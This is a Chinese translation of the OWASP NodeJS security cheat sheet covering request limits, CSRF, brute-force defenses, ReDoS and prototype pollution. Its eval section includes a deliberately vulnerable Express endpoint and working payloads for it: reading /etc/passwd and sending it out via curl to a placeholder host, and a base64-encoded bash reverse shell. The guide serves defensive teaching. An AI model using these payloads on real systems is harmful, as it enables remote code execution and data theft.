NodeJS 安全 cheatsheet 翻译版本

【介绍】

本文的大部分内容来自 【OWASP NodeJS security cheat sheet 一文】，笔者将其翻译成了中文版本，并针对常见情况做了调整，欢迎各位批评指正.

【面向人群】

产品安全测试人员、NodeJS 开发人员

应用安全

设置请求大小限制

请求主体的缓冲和解析对于服务器而言可能会占用大量资源。如果对请求的大小没有限制，则攻击者可以使用大型请求正文发送请求，从而耗尽服务器内存或填充磁盘空间。

但为【所有请求】都设置请求大小限制可能不是正确的行为，因为某些请求（例如用于将文件上传请求）有更多请求内容。

另外，由于解析 JSON 是一项阻塞操作，因此使用 JSON 类型的输入比使用 multipart 输入更为危险。因此，您应该为不同的内容类型设置请求大小限制。

您可以使用 Express 中间件非常轻松地完成此任务，如下所示：

```
app.use(express.urlencoded({ limit: "1kb" }));
app.use(express.json({ limit: "1kb" }));
app.use(express.multipart({ limit:"10mb" }));
app.use(express.limit("5kb")); // this will be valid for every other content type
```

同时应注意，攻击者可以更改请求的内容类型(content type)来绕过请求大小限制。因此，在处理请求之前，应针对请求标头中所述的内容类型验证请求中包含的数据。如果每个请求的内容类型验证严重影响性能，则您只能验证特定的内容类型或请求的大小大于预定大小。

执行输入验证

输入验证是应用程序安全性的关键部分。输入验证失败可能导致许多不同类型的应用程序攻击。其中包括 SQL 注入，跨站点脚本编写，命令注入，本地/远程文件包含，拒绝服务，目录遍历，LDAP 注入和许多其他注入攻击。为了避免这些攻击，应首先清理对应用程序的输入。最好的输入验证技术是使用接受输入的白名单。但是，如果无法做到这一点，则应首先根据预期的输入方案检查输入，并应逃避危险的输入。为了简化 Node.js 应用程序中的输入验证，提供了一些模块，如 validator 和 mongo-express-sanitize。有关输入验证的详细信息，请参阅输入验证备忘单。

执行输出转义

除了输入验证之外，您还应转义通过应用程序显示给用户的所有 HTML 和 JavaScript 内容，以防止跨站点脚本（XSS）攻击。您可以使用 escape-html 或 node-esapi 库执行输出转义。

采取预防措施防止暴力破解

暴力破解是所有 Web 应用程序的常见威胁。攻击者可以使用暴力破解作为密码猜测攻击来获取帐户密码。因此，应用程序开发人员应采取预防措施，防止暴力攻击，尤其是在登录页面中。 Node.js 为此提供了几个模块。Express-bouncer，express-brute 和 rate-limiter，它们只是一些示例。

根据您的需求和要求，您应该选择一个或多个这些模块并相应地使用。Express-bouncer 和 Express-brute 模块的工作原理非常相似，它们都会增加失败请求后的延迟。它们都可以安排为特定的路由。这些模块可以按如下方式使用：

```
var bouncer = require('express-bouncer');
bouncer.whitelist.push('127.0.0.1'); // whitelist an IP address
// give a custom error message
bouncer.blocked = function (req, res, next, remaining) {
    res.send(429, "Too many requests have been made. Please wait " +
remaining/1000 + " seconds.");
};
// route to protect
app.post("/login", bouncer.block, function(req, res) {
    if (LoginFailed){  }
    else {
        bouncer.reset( req );
    }
});
```

```
var ExpressBrute = require('express-brute');

var store = new ExpressBrute.MemoryStore(); // stores state locally, don't use
this in production
var bruteforce = new ExpressBrute(store);

app.post('/auth',
    bruteforce.prevent, // error 429 if we hit this route too often
    function (req, res, next) {
        res.send('Success!');
    }
);
```

除了 express-bouncer 和 express-brute 之外，rate-limiter 模块还有助于防止强行攻击。它使您能够指定特定 IP 地址在指定时间段内可以发出多少个请求。

```
var limiter = new RateLimiter();
limiter.addLimit('/login', 'GET', 5, 500); // login page can be requested 5
times at max within 500 seconds
```

验证码的使用也是防止暴力破解的另一种常见机制。有为 Node.js CAPTCHAs 开发的模块。Node.js 应用程序中使用的常见模块是 svg-captcha。demo 如下：

```
var svgCaptcha = require('svg-captcha');
app.get('/captcha', function (req, res) {
    var captcha = svgCaptcha.create();
    req.session.captcha = captcha.text;
    res.type('svg');
    res.status(200).send(captcha.data);
});
```

此外，建议使用帐户锁定来使攻击者远离您的有效用户。使用 mongoose 之类的许多模块都可以锁定帐户。您可以参考此博客文章，了解如何在 mongoose 中实现帐户锁定。

使用 Anti-CSRF token

跨站点请求伪造（CSRF）旨在代表经过身份验证的用户执行授权的操作，而用户不知道该操作。CSRF 攻击通常用于状态更改请求，例如更改密码，添加用户或下订单。Csurf 是可用于减轻 CSRF 攻击的中间件。demo 如下：

```
var csrf = require('csurf');
csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, function(req, res) {
    res.render('send', { csrfToken: req.csrfToken() })
})
app.post('/process', parseForm, csrfProtection, function(req, res) {
    res.send('data is being processed');
});
```

编写此代码后，您还需要添加 csrfToken 到 HTML 表单，可以很容易地完成以下操作：

```
<input type="hidden" name="_csrf" value="">
```

有关跨站点请求伪造（CSRF）攻击和预防方法的详细信息，您可以参考跨站点请求伪造预防。

防止 HTTP 参数污染

HTTP 参数污染（HPP）是一种攻击方式，攻击者使用相同的名称发送多个 HTTP 参数，这会使您的应用程序以不可预测的方式解释它们。当发送多个参数值后，Express 会将它们填充到数组中。为了解决这个问题，可以使用 hpp 模块。使用时，该模块将忽略

req.query 和/或中为参数提交的所有值，req.body 而仅选择最后提交的参数值。您可以按以下方式使用它：

```
var hpp = require('hpp');
app.use(hpp());
```

使用对象属性描述符

对象属性包括 3 个隐藏属性：（writable 如果为 false，则不能更改属性值），enumerable（如果为 false，则不能在 for 循环中使用属性）和 configurable（如果为 false，则不能删除属性）。通过分配定义对象属性时，这三个隐藏属性默认设置为 true。这些属性可以设置如下：

```
var o = {};
Object.defineProperty(o, "a", {
    writable: true,
    enumerable: true,
    configurable: true,
    value: "A"
});
```

除此之外，还有一些对象属性的特殊功能。Object.preventExtensions()防止将新属性添加到对象。

平台安全性

请勿使用危险功能

有一些 JavaScript 函数很危险，应尽可能避免使用此类功能和模块，仅在绝对必要的情况下使用。

第一个例子是【eval()函数】。此函数接受一个字符串参数，并将其作为任何其他 JavaScript 源代码执行。结合用户输入，此行为固有地导致远程执行代码漏洞。同样，【调用 child_process.exec 函数】也很危险。该函数充当 bash 解释器，并将其参数发送到/ bin / sh。通过向此功能注入输入，攻击者可以在服务器上执行任意命令。

除了这些功能之外，还有一些模块在使用时需要特别注意。例如，【fs 模块处理文件系统操作】。但是，如果不正确地清理用户输入到该模块，则您的应用程序可能容易受到文件包含和目录遍历漏洞的攻击。同样，该 vm 模块提供用于在 V8 虚拟机上下文中编译和运行代码的 API。由于它可以自然执行危险的动作，因此应在沙箱中使用它。

公平地说，这些功能和模块均不应使用，但是，应谨慎使用它们，尤其是在与用户输入一起使用时。另外，还有一些其他功能可能会使您的应用程序容易受到攻击，nodejs 中常见的危险函数列表如下

> 下面这些 JavaScript 函数可用于解析 JavaScript 代码，如果它可能被用户控制，那么就存在 RCE 的风险.

Function Name 函数名称	*Argument 参数*	*Browser 浏览器*	Example 例子, (usercont
eval	first	*All*	eval("jsCode"+**usercontrolledVal**)
Function	first if there's one, the last if >1 args	*All*	Function("jsCode"+**usercontrolledVal**) , Function("arg","arg2","jsCode"+**usercont**
setTimeout	first *IIF* it is a string	*All*	setTimeout("jsCode"+**usercontrolledVal** ,
setInterval	first *IIF* it is a string	*All*	setInterval("jsCode"+**usercontrolledVal**
setImmediate	first *IIF* it is a string	*IE 10+*	setImmediate("jsCode"+**usercontrolledVa**
execScript	first	*IE 6+*	execScript("jsCode"+**usercontrolledVal** ,
crypto.generateCRMFRequest	5th	*Firefox 2+*	crypto.generateCRMFRequest('CN=0',0,0,r dual-use')
ScriptElement.src	assignedValue	*All*	script.src = **usercontrolledVal**
ScriptElement.text	assignedValue	*Explorer*	script.text = 'jsCode'+**usercontrolledVa**
ScriptElement.textContent	assignedValue	*All but IE<9*	script.textContent = 'jsCode'+**usercontr**
ScriptElement.innerText	assignedValue	*All but Firefox*	script.innerText = 'jsCode'+**usercontrol**
anyTag.*onEventName*	assignedValue	*All*	anyTag.onclick = 'jsCode'+**usercontrolle**

漏洞利用

简单举个例子

```
var express = require("express");
var app = express();

app.get('/eval',function(req,res){
    res.send(eval(req.query.q));
    console.log(req.query.q);
})

var server = app.listen(8888, function() {
    console.log("应用实例，访问地址为 http://127.0.0.1:8888/");
})
```

弹计算器(windows)：

```
/eval?q=require('child_process').execSync('calc');
```

读取文件(linux)：

```
/eval?q=require('child_process').execSync('curl -F "x=`cat /etc/passwd`" http://vps');;
```

反弹 shell(linux)：

```
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');注意:YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx 是 bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64 加密后的结果，直接调用会报错。且 BASE64 加密后的字符中有一个+号需要 url 编码为%2B
如果上下文中没有 require(类似于 Code-Breaking 2018 Thejs)，则可以使用 global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令
```

慎用正则表达式

正则表达式拒绝服务（ReDoS）是一种使用正则表达式的拒绝服务攻击。某些正则表达式（Regex）实现会导致极端情况，从而使应用程序非常慢（与输入大小成指数关系）。攻击者可以使用这种正则表达式实现使应用程序陷入这些极端情况并挂起很长时间。

通常，这些正则表达式是通过重复分组和重叠重叠进行开发的。例如，以下正则表达式^(([a-z])+.)+[A-Z]([a-z])+$可用于指定 Java 类名称。但是，很长的字符串（aaaa ... aaaaAaaaaa ... aaaa）也可以与此正则表达式匹配，从而导致性能下降。有一些工具可以检查正则表达式是否有可能导致拒绝服务。一个例子是 vuln-regex-detector。

使用严格模式

JavaScript 具有许多不应该使用的不安全和危险的旧功能。为了删除这些功能，ES5 为开发人员提供了严格的模式。使用此模式，将抛出以前静默的错误。它还可以帮助 JavaScript 引擎执行优化。在严格模式下，以前接受的错误语法会导致实际错误。由于这些改进，您应该始终在应用程序中使用严格模式。为了启用严格模式，您只需要"use strict";在代码之上编写即可。

以下代码将 ReferenceError: Can't find variable: y 在控制台上生成，除非使用严格模式，否则不会显示该代码。

```
"use strict";

func();
function func() {
  y = 3.14;   // This will cause an error (y is not defined)
}
```

遵守一般应用程序安全性原则

该列表主要关注 Node.js 应用程序中常见的问题。另外，针对这些问题的建议针对于 Node.js 环境。除此之外，无论应用程序服务器中使用哪种技术，都有适用于 Web 应用程序的一般设计安全原则。在开发应用程序时，还应牢记这些原则。另外，您始终可以参考 OWASP 备忘单系列，以了解有关 Web 应用程序漏洞和针对这些漏洞的缓解技术的更多信息。

Node.js 原型污染漏洞

Javascript 原型链参考文章：继承与原型链

关于原型链

文章内关于原型和原型链的知识写的非常详细，就不再总结整个过程了，以下为几个比较重要的点：

- 在 javascript，每一个实例对象都有一个 prototype 属性，prototype 属性可以向对象添加属性和方法。

例子：

object.prototype.name=value

在 javascript，每一个实例对象都有一个__proto__属性，这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象：

```
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
```

不同对象所生成的原型链如下(部分)：

```
var o = {a: 1};
// o 对象直接继承了 Object.prototype
// 原型链：
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链：
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链：
// f ---> Function.prototype ---> Object.prototype ---> null
```

原型链污染原理

对于语句：object[a][b] = value

如果可以控制 a、b、value 的值，将 a 设置为__proto__，我们就可以给 object 对象的原型设置一个 b 属性，值为 value。这样所有继承 object 对象原型的实例对象在本身不拥有 b 属性的情况下，都会拥有 b 属性，且值为 value。

来看一个简单的例子：

```
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
```

最终会输出两个 Hello World。为什么 object2 在没有设置 foo 属性的情况下，也会输出 Hello World 呢？就是因为在第二条语句中，我们对 object1 的原型对象设置了一个 foo 属性，而 object2 和 object1 一样，都是继承了 Object.prototype。

在获取 object2.foo 时，由于 object2 本身不存在 foo 属性，就会往父类 Object.prototype 中去寻找。这就造成了一个原型链污染，所以原型链污染简单来说就是如果能够控制并修改一个对象的原型，就可以影响到所有和这个对象同一个原型的对象。有两道很有意思的 CTF 例题，可以参考：[ciscn2020-final-monster-battle]